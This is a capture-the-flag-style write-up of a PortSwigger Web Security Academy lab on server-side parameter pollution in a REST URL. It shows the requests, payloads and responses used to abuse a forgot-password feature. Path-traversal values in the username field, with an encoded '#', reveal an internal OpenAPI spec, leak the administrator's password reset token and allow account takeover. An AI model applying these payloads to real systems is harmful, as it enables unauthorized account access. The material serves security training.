> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md).

# Server-Side Parameter Pollution in a REST URL

Server-Side Parameter Pollution in a REST URL notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting Server-side Parameter Pollution in a REST URL

**Lab objective**/ Log in as an administrator\*\* and delete user**carlos**.

#### 1. Functionality « Forgot Password »

You access the Forgot password feature and enter the user name **administrator**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d988f07dafa1d5e5d10b2acbe9d84a7a8c7f1ace%2F%7B0C78BA96-E240-42AF-98CE-BFF2077D7019%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The request sent to the server is as follows:

```bash
POST /forgot-password

csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=administrator
```

Answer obtained:

```json
{
    "result":"*****@normal-user.net",
    "type":"email"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e3d459efdfd99e8905e2e321b6a1f0c125c53a7%2F%7B78A18812-9E8E-4CC4-AE1C-E2169B73FFAC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2. Client-side JavaScript Code Analysis

The JavaScript code shows that the `username` value is sent as is in the query, without additional server validation.

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Invalid username";
                }
                else
                {
                    forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Invalid username";
            });
    } catch (error) {
        console.error("Unexpected Error:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

This suggests that the value can be interpreted as part of the path of the backend API.

#### 3. Attempts to Pollution the `username` Parameter

* Added a `#` at the end of the parameter:

```bash
&username=administrator#
```

Answer:

```json
{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}
```

* Attempt to cross paths:

```bash
&username=../../../../administrator
```

Answer: Not Found error from API server.

{% code overflow="wrap" %}

```json
{
  "error": "Unexpected response from API server:/n<html>/n<head>/n    <meta charset=/"UTF-8/">/n    <title>Not Found<//title>/n<//head>/n<body>/n    <h1>Not found<//h1>/n    <p>The URL that you requested was not found.<//p>/n<//body>/n<//html>/n"
}
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8767c745bd790ed519cc9c3aa20c5375b126e84%2F%7BF382259F-3EE6-4C0D-B68A-346D4872FF50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 4. OpenAPI Documentation Discovery

Combining directory crossing and `#` character:

{% code overflow="wrap" %}

```bash
csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=../../../../administrator%23
```

{% endcode %}

It returns `openapi.json` with a large response length.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad653ab9bec0585c4ab313a8ce95b430e45dd803%2F%7BB2BA4C55-BA6E-47B8-BFE7-1DE9A39BFF09%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Message d'erreur:

```json
{
  "error": "Unexpected response from API server:/n{/n  /"openapi/": /"3.0.0/",/n  /"info/": {/n    /"title/": /"User API/",/n    /"version/": /"2.0.0/"/n  },/n  /"paths/": {/n    /"/api/internal/v1/users/{username}/field/{field}/": {/n      /"get/": {/n        /"tags/": [/n          /"users/"/n        ],/n        /"summary/": /"Find user by username/",/n        /"description/": /"API Version 1/",/n        /"parameters/": [/n          {/n            /"name/": /"username/",/n            /"in/": /"path/",/n            /"description/": /"Username/",/n            /"required/": true,/n            /"schema/": {/n        ..."
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-590adde3d9fcbe5f92197d1b8e59847ee854185f%2F%7BAD8A2F03-18CC-4907-BC34-E6CD684F847E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The server returns an error containing **OpenAPI** documentation, revealing available internal routes, including:

```bash
/api/internal/v1/users/administrator/field/{field}
```

#### 5. Internal API Exploitation

The `username` parameter is adjusted to target the API directly:

```bash
administrator/field/test%23
```

```json
{
  "type": "error",
  "result": "This version of API only supports the email field for security reasons"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f3301b0536b887bec00d9da9f43676bf7634204%2F%7BC6857E93-D0F9-45F6-A0E9-FC328AA41C03%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Valid answer with admin email.

```bash
&username=administrator/field/email%23
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07eb54c2934c1c66d320f2a5fc56cc187c2823d4%2F%7B82179552-D1A4-4ECF-9DAB-3B452D213B91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 6. Recovery of Reset Token

```bash
../../v1/users/administrator
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9dbd58c73bb5bc886092f372dde4228ea5d8780%2F%7B3F19E1E1-9AD0-4B73-860F-C0175B591C43%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Testing other fields exposed by API:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7dd8af1e52de6d94a175fc61773c91dfe168b6a8%2F%7BB1D6DF4D-805A-48C5-89A3-085CC1C9D450%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
&username=../../v1/users/administrator/field/passwordResetToken%23
```

Answer:

```json
{
  "type": "passwordResetToken",
  "result": "guw2qorqvfcpqohuv92wb460x4da485o"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fcb0a4caaa777789d2e09fe7910daeef8d79e7b%2F%7BCB976023-096D-4FFB-ABB7-4F67547EB0EA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 7. Reset Administrator Password

The recovered token is used to access the reset page:

```bash
/forgot-password?passwordResetToken=guw2qorqvfcpqohuv92wb460x4da485o
```

This allows you to set a new password for **administrator**, then connect and delete user **carlos**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae4038590ae16e9e56175a3491081ddcfe0ea41d%2F%7B62FC6673-1BF3-48BD-97E4-83470BC3F504%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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